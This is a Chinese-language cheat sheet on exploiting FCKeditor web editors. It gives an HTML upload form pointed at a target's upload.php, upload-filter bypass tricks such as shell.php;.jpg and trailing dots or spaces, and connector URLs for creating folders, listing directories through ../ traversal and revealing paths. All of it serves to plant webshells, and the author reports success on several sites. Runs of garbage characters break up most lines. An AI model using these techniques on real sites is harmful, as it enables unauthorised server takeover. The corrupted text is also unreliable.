Fckeditor漏洞利用总结
$ {' Q) m4 L3 ]查看编辑器版本
% V$ ~# O$ E u- F0 pFCKeditor/_whatsnew.html
, W' W7 e Y% ]/ \9 W2 z; O—————————————————————————————————————————————————————————————7 B. u: R- z8 a9 Q: U+ x* a
' H* C+ x! v* Z3 A
2. Version 2.2 版本% Z" [5 O. K( x$ w2 }
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
1 o: F: U- S% u/ L1 J& v—————————————————————————————————————————————————————————————1 u- ]6 ]+ \$ P2 L" N2 y
9 e0 x$ }. @/ H0 y3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
& h! B1 V" a7 N3 `7 v# H' z6 O4 k<form id="frmUpload" enctype="multipart/form-data"2 x1 i1 O# v& l+ F8 N+ n
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>7 m: |) h) L1 d2 X+ D0 z$ \8 t- _$ {- e
<input type="file" name="NewFile" size="50"><br>2 M' T8 a5 B' J; ~3 W8 P c; \
<input id="btnUpload" type="submit" value="Upload">+ H) {5 U7 [; r5 C" I4 z
</form>
, P" Y9 `. ]" ]/ ~5 t—————————————————————————————————————————————————————————————
2 y8 X! a- J! S, v& ~: l$ q
( l+ r% o* w! e4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
1 P0 n. o" I! S- k- b/ Y, z 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。 D7 g$ A" [' }7 ~3 r( [
4.1:提交shell.php+空格绕过
# z9 f5 d8 M: p+ w不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。6 }0 F# a5 Z, B% R1 m2 P7 ^
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
1 R: {) ]/ ? P—————————————————————————————————————————————————————————————
* S& F; U: Q% R- G) E0 c0 s0 _6 N N1 ]
5. 突破建立文件夹- d% i5 ?& j8 j; I. @7 E$ {3 F
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684, t1 \. \# F" h' [
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp1 @- p& u3 N2 B) n
—————————————————————————————————————————————————————————————
3 u( d' T7 ?) r/ K0 I9 P
+ a# \& X. n% H6 c8 L5 }6. FCKeditor 中test 文件的上传地址$ H3 P- p& f U2 d
FCKeditor/editor/filemanager/browser/default/connectors/test.html
* q" s' A1 _& j; IFCKeditor/editor/filemanager/upload/test.html) e" V: r6 \, G% I2 s7 b/ Z
FCKeditor/editor/filemanager/connectors/test.html
4 z+ {2 n* v Y2 n0 eFCKeditor/editor/filemanager/connectors/uploadtest.html
% J U7 x1 |7 `. c/ T/ E—————————————————————————————————————————————————————————————
0 `# B+ S+ Y) H9 }
- M Q6 h9 ]% D. [( |7.常用上传地址
# W$ N4 A5 H, K5 d! W C$ |FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
$ ?) s9 y8 X E2 S+ h! TFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp) h. _. L Q7 n7 R+ `; Q
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)1 M- O! S8 J- o( P% l! @3 f
JSP 版:
- z1 W2 m2 |4 M% t3 N% l3 F! {FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
* N, j* C4 i. f注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
) s* Z) Q: F8 E/ O8 E4 e7 U$ @& \件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。9 Q p9 v' e8 ~& ]! I; b! l
—————————————————————————————————————————————————————————————
1 H/ }( }6 N2 F% q* }8 E+ D9 D$ J+ t
/ w3 A6 a- J, q; w& S8.其他上传地址
! E8 L) m: i4 C; I8 O& N$ a6 IFCKeditor/_samples/default.html
8 H0 j2 F+ { j- M: [. b* _FCKeditor/_samples/asp/sample01.asp
1 a8 K+ r- ?4 v l* QFCKeditor/_samples/asp/sample02.asp$ {1 u8 }( t. {+ b) h3 s
FCKeditor/_samples/asp/sample03.asp
) J7 V$ u4 ?6 J2 LFCKeditor/_samples/asp/sample04.asp1 Y- D" I# Y$ i2 H* ^; v
一般很多站点都已删除_samples 目录,可以试试。: S* ]! i+ [" e# T& D
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。% \7 K7 Z9 _4 p+ N
—————————————————————————————————————————————————————————————1 {2 S2 _, [: Y8 \! H. h
3 \. P0 \6 T1 m9.列目录漏洞也可助找上传地址
* v' T) e7 l! xVersion 2.4.1 测试通过' ]% V- I7 e6 P" j1 l% ?7 \
修改CurrentFolder 参数使用 ../../来进入不同的目录4 {$ t( Y f/ E
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
& p* C8 a& G; ~$ U8 [根据返回的XML 信息可以查看网站所有的目录。, _! _5 P7 ]3 l" @ D' B2 X- h
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F% k9 g! b: Z2 p0 S4 U# r, R( g
也可以直接浏览盘符:
+ ^9 x* Q$ X8 x6 r$ G( Y2 mJSP 版本:
( K2 B# f6 t, d0 h7 M) X2 W) `FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
3 s$ r3 K5 L8 J8 _9 @& a, l—————————————————————————————————————————————————————————————
' S/ G4 Y/ d+ C! j" D9 G8 W4 K
1 z, h. Z: {% h$ `10.爆路径漏洞9 N" V/ u9 f. x
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp- {( ]1 J$ ]2 z3 T5 q
—————————————————————————————————————————————————————————————) n0 l$ }& a. G) J4 n( B- x! h* Q
8 U3 r2 M+ C4 a( V. d11. FCKeditor 被动限制策略所导致的过滤不严问题# t1 V3 j9 F& i @+ N# u
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
$ B4 {) b' P2 q+ ]$ `4 N( g) L脆弱描述:( o4 K6 ?! H0 y8 i
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
9 H4 h; w. o1 Lhtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm4 H5 j @1 a# z
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
( c6 z1 d- `) G% k0 \6 c 而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。4 q' e' R1 ^' c: r& P5 Y+ H4 Q
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
) B( ~' b% g# \& d3 m—————————————————————————————————————————————————————————————
1 D# j4 l6 g0 S5 `1 e% m) M
# S* G) ?- y9 i( T% V12.最古老的漏洞,Type文件没有限制!
9 d1 w* W0 X) f( M5 q( ?" h9 |" S 我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! 6 }* b2 b7 h, S1 }8 F
—————————————————————————————————————————————————————————————
. H9 \' \1 }1 y- ^5 `' ?/ G7 M1 ]$ D
===============================================================================================================================================6 j5 P3 N3 {2 Q
' L" ?6 \3 H& w/ iFCK编辑器jsp版本漏洞:; H0 o3 l# ^1 R4 w t. z3 y7 `* z
5 t9 \/ j5 @( L, x# B1 \; ~* p v
0 O7 H! N4 m, G9 p( Fhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
) o x) D& r/ `6 ]# T Y+ t( G* m( i4 R$ Y
上传马所在目录
. ]; v% M0 f$ c6 ?, @FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/% P: J; W( [9 N8 O0 d8 W4 ~
上传shell的地址:3 l, o& Y& o& `0 h4 P
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector+ u3 k) s. z: t, W- X
跟版本有关系.并不是百分百成功. 测试成功几个站.
3 w* r( g: c' W; G8 @# k6 z' a- j不能通杀.很遗憾.
2 y! w o1 U7 Z Z" thttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
9 U7 c5 o2 q9 }9 r7 o2 a如果以上地址不行可以试试( U! h9 B( ^+ |6 s& F
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector. T5 t: H) K# l3 X, [" ]2 e
FCKeditor/_samples/$ I( q* S! c+ f$ X% I( q9 v
FCKeditor/_samples/default.html
" G5 \' n0 G kFCKeditor/editor/fckeditor.htm; A: F* o6 S5 r7 A
FCKeditor/editor/fckdialog.html
* B+ F! }9 j P% Z
* h1 B# N' z# O* x
" v; Y4 ?$ l& u7 {) O
% ]$ G. k" x& P/ P) S解析漏洞+未重命名文件时上传漏洞 1.asp;jpg9 U M% T7 a9 u, \
|